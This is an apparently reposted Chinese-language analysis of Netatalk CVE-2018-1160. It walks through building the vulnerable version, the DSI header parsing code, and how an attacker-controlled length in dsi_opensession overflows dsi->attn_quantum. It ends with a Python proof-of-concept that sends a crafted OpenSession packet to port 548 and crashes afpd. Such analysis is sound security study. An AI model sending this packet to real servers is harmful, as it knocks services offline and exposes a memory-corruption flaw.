1. 程式人生 > >Netatalk CVE-2018–1160 越界訪問漏洞分析

Netatalk CVE-2018–1160 越界訪問漏洞分析

編譯安裝

首先下載帶有漏洞的原始碼

https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/

安裝一些依賴庫(可能不全,到時根據報錯安裝其他的庫)

sudo apt install libcrack2-dev
sudo apt install libgssapi-krb5-2
sudo apt install libgssapi3-heimdal
sudo apt install libgssapi-perl
sudo apt-get install libkrb5-dev
sudo apt-get install libtdb-dev
sudo apt-get install libevent-dev

然後編譯安裝

$ ./configure         --with-init-style=debian-systemd         --without-libevent         --without-tdb         --with-cracklib         --enable-krbV-uam        --with-pam-confdir=/etc/pam.d         --with-dbus-daemon=/usr/bin/dbus-daemon         --with-dbus-sysconf-dir=/etc/dbus-1/system.d         --with-tracker-pkgconfig-version=1.0
$ make 
$ sudo make install

編譯安裝好後, 編輯一下配置檔案

[email protected]:~# cat /usr/local/etc/afp.conf
[Global]
 mimic model = Xserve                #這個是指定讓機器在你Mac系統中顯示為什麼的圖示
 log level = default:warn
 log file = /var/log/afpd.log
 hosts allow = 192.168.245.0/24           #允許訪問的主機地址,根據需要自行修改
 hostname = ubuntu             #主機名,隨你喜歡
 uam list = uams_dhx.so uams_dhx2.so #預設認證方式 使用者名稱密碼登入 更多檢視官方文件

[Homes]
 basedir regex = /tmp               #使用者的Home目錄

[NAS-FILES]
path = /tmp             #資料目錄

然後嘗試啟動服務

$ sudo systemctl enable avahi-daemon
$ sudo systemctl enable netatalk
$ sudo systemctl start avahi-daemon
$ sudo systemctl start netatalk

啟動後 afpd 會監聽在 548 埠,檢視埠列表確認服務是否正常啟動

為了除錯的方便,關閉 alsr

echo 0 > /proc/sys/kernel/randomize_va_space 

程式碼閱讀筆記

為了便於理解漏洞和 poc 的構造,這裡介紹下一些重點的程式碼邏輯。

程式使用多程序的方式處理客戶端的請求,每來一個客戶端就會 fork 一個子程序處理請求的資料。

利用客戶端請求資料初始化結構體

首先會呼叫 dsi_stream_receive 把客戶端的請求資料填充到 DSI 結構體中。

使用客戶端的資料填充結構體的程式碼

/*!
 * Read DSI command and data
 *
 * @param  dsi   (rw) DSI handle
 *
 * @return    DSI function on success, 0 on failure
 */
int dsi_stream_receive(DSI *dsi)
{
  char block[DSI_BLOCKSIZ];

  LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");

  if (dsi->flags & DSI_DISCONNECTED)
      return 0;

  /* read in the header */
  if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block)) 
    return 0;

  dsi->header.dsi_flags = block[0];
  dsi->header.dsi_command = block[1];

  if (dsi->header.dsi_command == 0)
      return 0;

  memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
  memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
  dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
  memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));

  memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
  dsi->clientID = ntohs(dsi->header.dsi_requestID);
  
  /* 確保不會溢位 dsi->commands */
  dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

  /* Receiving DSIWrite data is done in AFP function, not here */
  if (dsi->header.dsi_data.dsi_doff) {
      LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
      dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
  }

  if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
    return 0;

  LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);

  return block[1];
}

程式碼邏輯主要是填充 header 的一些欄位,然後 拷貝 header 後面的資料到 dsi->commands

其中 header 的結構如下

#define DSI_BLOCKSIZ 16
struct dsi_block {
    uint8_t dsi_flags;       /* packet type: request or reply */
    uint8_t dsi_command;     /* command */
    uint16_t dsi_requestID;  /* request ID */
    union {
        uint32_t dsi_code;   /* error code */
        uint32_t dsi_doff;   /* data offset */
    } dsi_data;
    uint32_t dsi_len;        /* total data length */
    uint32_t dsi_reserved;   /* reserved field */
};

header中比較重要的欄位有:

dsi_command 表示需要執行的動作

dsi_len 表示 header 後面資料的大小, 這個值會和 dsi->server_quantum 進行比較,取兩者之間較小的值作為 dsi->cmdlen 的值。

  /* 確保不會溢位 dsi->commands */
  dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

這樣做的目的是為了確保後面拷貝資料到 dsi->commands 時不會溢位。

dsi->commands 預設大小為 0x101000

pwndbg> p dsi->commands
$8 = (uint8_t *) 0x7ffff7ed4010 "\001\004"
pwndbg> vmmap 0x7ffff7ed4010
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffff7ed4000     0x7ffff7fd5000 rw-p   101000 0

初始化程式碼位置

/*!
 * Allocate DSI read buffer and read-ahead buffer
 */
static void dsi_init_buffer(DSI *dsi)
{
    if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) {
        LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
        AFP_PANIC("OOM in dsi_init_buffer");
    }

dsi->server_quantum 預設

#define DSI_SERVQUANT_DEF   0x100000L   /* default server quantum (1 MB) */

根據 header 欄位選擇處理邏輯

接下來會進入 dsi_getsession 函式。

這個函式的主要部分是根據 dsi->header.dsi_command 的值來判斷後面進行的操作。這個值是從客戶端傳送的資料裡面取出的。

漏洞分析

漏洞位於 dsi_opensession

當進入 DSIOPT_ATTNQUANT 分支時 會呼叫 memcpy 拷貝到 dsi->attn_quantum ,檢視 dis 結構體的定義可以發現dsi->attn_quantum 是一個 4 位元組的無符號整數 ,而 memcpysize 區域則是直接從 dsi->commands 裡面取出來的, 而 dsi->commands 是從客戶端傳送的資料直接拷貝過來的。所以 dsi->commands[i] 我們可控,最大的大小為 0xff (dsi->commands 是一個 uint8_t 的陣列)

poc

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import socket
import struct

ip = "192.168.245.168"
port = 548
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

# 設定 commands , 溢位 dsi->attn_quantum
commands = "\x01"  # DSIOPT_ATTNQUANT 選項的值
commands += "\x80"  # 資料長度
commands += "\xaa" * 0x80


header = "\x00"  # "request" flag , dsi_flags
header += "\x04"  # open session command , dsi_command
header += "\x00\x01"  # request id, dsi_requestID
header += "\x00\x00\x00\x00"  # dsi_data
header += struct.pack(">I", len(commands))  # dsi_len , 後面 commands 資料的長度
header += "\x00\x00\x00\x00"  # reserved

header += commands
sock.sendall(header)

print sock.recv(1024)

首先設定好 dsi 資料的頭部,然後設定 commands 。設定 commands[i] 長度為 0x80 , 複製的資料為 "\xaa" * 0x80

# 設定 payload , 溢位 dsi->attn_quantum
payload = "\x01"  # DSIOPT_ATTNQUANT 選項的值, 以便進入該分支
payload += "\x80"  # 資料長度
payload += "\xaa" * 0x80  # 資料

當進入

memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);

就會複製 0x80\xaadsi->attn_quantum 處, 這樣會溢位覆蓋 dsi->attn_quantum 後面的一些欄位。

傳送 poc , 在偵錯程式中看看在呼叫 memcpydsi 結構體內部的情況

可以看到從 dsi->attn_quantum 開始一直到 dsi->data 之間的欄位都被覆蓋成了 \xaa 。由於 dsi->commands 為一個指標, 這裡被覆蓋成了不可訪問的值,在後續使用 dsi->commands 時會觸發 crash

總結

當程式需要從資料裡面取出表示資料長度的欄位時一定要做好判斷防止出現問題。

參考

https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172